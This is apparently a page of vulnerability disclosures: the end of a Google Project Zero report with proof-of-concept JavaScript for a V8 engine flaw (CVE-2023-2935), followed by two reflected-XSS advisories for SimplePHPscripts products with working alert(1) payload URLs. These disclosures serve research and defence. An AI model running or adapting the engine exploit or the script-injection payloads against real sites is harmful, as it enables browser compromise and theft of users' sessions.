Object.getPrototypeOf(prototype);<br /><br /> Object.setPrototypeOf(prototype, new Proxy({}, {get getOwnPropertyDescriptor() {<br /> Object.setPrototypeOf(prototype, grand_prototype);<br /><br /> callback();<br /> }}));<br /> }<br /><br /> static #big_int_array = new BigUint64Array(1);<br /> static #double_array = new Float64Array(Utils.#big_int_array.buffer);<br /> static #slow_source = {};<br /> static {<br /> for (let i = 0; i < 2048; ++i) {<br /> Object.defineProperty(Utils.#slow_source, `p${i}`, {enumerable: true, get() { throw 1 }});<br /> }<br /> }<br />};<br /><br />// Used by `Error.captureStackTrace`.<br />const PROPERTY_NAME = \"stack\";<br /><br />function trigger(index) {<br /> // The collections are cached; pass an index to get a new one each time.<br /> let object = document.getElementsByTagName(index);<br /><br /> Utils.setInterceptorOnceCallback(object, _ => {<br /> // Needed to force `ReoptimizeIfPrototype` inside `TransitionToAccessorPair`.<br /> Utils.transitionToFastPrototype(object);<br /><br /> Error.captureStackTrace(object);<br /> // Trigger `TransitionToAccessorPair` -- makes `object` fast.<br /> Object.defineProperty(object, \"stack\", {enumerable: false});<br /> Utils.transitionToSlow(object);<br /><br /> // Add more properties to rehash the dictionary.<br /> for (let i = 0; i < index; ++i) {<br /> object[`p${i}`] = 1;<br /> }<br /> });<br /> // Pass a holder that doesn't contain the property to trigger a second lookup.<br /> // The stored value will be interpreted as an accessor object later.<br /> Reflect.set({}, PROPERTY_NAME, Utils.bigIntAsDouble(0x4141414141414141n), object);<br /><br /> // Trigger `TransitionToAccessorPair` again.<br /> Object.defineProperty(object, PROPERTY_NAME, {enumerable: true, value: 1});<br />}<br /><br />for (let index = 0; index < 1000; ++index)<br /> trigger(index);<br /><br />location.reload();<br /></script><br /></body><br />```<br /><br /><br />CREDIT INFORMATION<br />Sergei Glazunov of Google Project Zero<br /><br /><br />This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-07-26.<br /><br /><br />Related CVE Numbers: CVE-2023-2935.<br /><br /><br /><br />Found by: glazunov@google.com<br /><br /></code></pre>
<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />││ C r a C k E r ┌┘<br />┌┘ T H E C R A C K O F E T E R N A L M I G H T ││<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /> ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ [ Vulnerability ] ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: Author : CraCkEr :<br />│ Website : https://simplephpscripts.com/newsletter-script-php/ │<br />│ Vendor : SimplePHPscripts │<br />│ Software : NewsLetter Script 2.4 │<br />│ Vuln Type: Reflected XSS │<br />│ Impact : Manipulate the content of the site │<br />│ │<br />│────────────────────────────────────────────────────────────────────────────────────────│<br />│ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: :<br />│ Release Notes: │<br />│ ═════════════ │<br />│ The attacker can send to victim a link containing a malicious URL in an email or │<br />│ instant message can perform a wide variety of actions, such as stealing the victim's │<br />│ session token or login credentials │<br />│ │<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br />Greets:<br /><br /> The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09 <br /> <br /> CryptoJob (Twitter) twitter.com/0x0CryptoJob<br /> <br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ © CraCkEr 2023 ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /><br />Path: /preview.php<br /><br />URL parameter is vulnerable to RXSS<br /><br />https://website/preview.php/tb0g5"><script>alert(1)</script>kp1ea?cat_id=4<br /><br /><br /><br />[-] Done<br /></code></pre>
<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />││ C r a C k E r ┌┘<br />┌┘ T H E C R A C K O F E T E R N A L M I G H T ││<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /> ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ [ Vulnerability ] ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: Author : CraCkEr :<br />│ Website : https://simplephpscripts.com/simple-forum-php/ │<br />│ Vendor : SimplePHPscripts │<br />│ Software : Simple Forum 2.7 │<br />│ Vuln Type: Reflected XSS │<br />│ Impact : Manipulate the content of the site │<br />│ │<br />│────────────────────────────────────────────────────────────────────────────────────────│<br />│ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: :<br />│ Release Notes: │<br />│ ═════════════ │<br />│ The attacker can send to victim a link containing a malicious URL in an email or │<br />│ instant message can perform a wide variety of actions, such as stealing the victim's │<br />│ session token or login credentials │<br />│ │<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br />Greets:<br /><br /> The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09 <br /> <br /> CryptoJob (Twitter) twitter.com/0x0CryptoJob<br /> <br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ © CraCkEr 2023 ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /><br />Path: /preview.php<br /><br />URL parameter is vulnerable to RXSS<br /><br />https://website/preview.php/g63ed"><script>alert(1)</script>e1nm2?act=new&cat_id=<br /><br /><br />Path: /preview.php<br /><br />GET 'p' parameter is vulnerable to RXSS<br /><br />https://website/preview.php?p=b35ek%22%3e%3cscript%3ealert(1)%3c%2fscript%3eqr2hm&cat_id=&ordType=ASC&ordBy=publish_date<br /><br /><br /><br />[-] Done<br /></code></pre>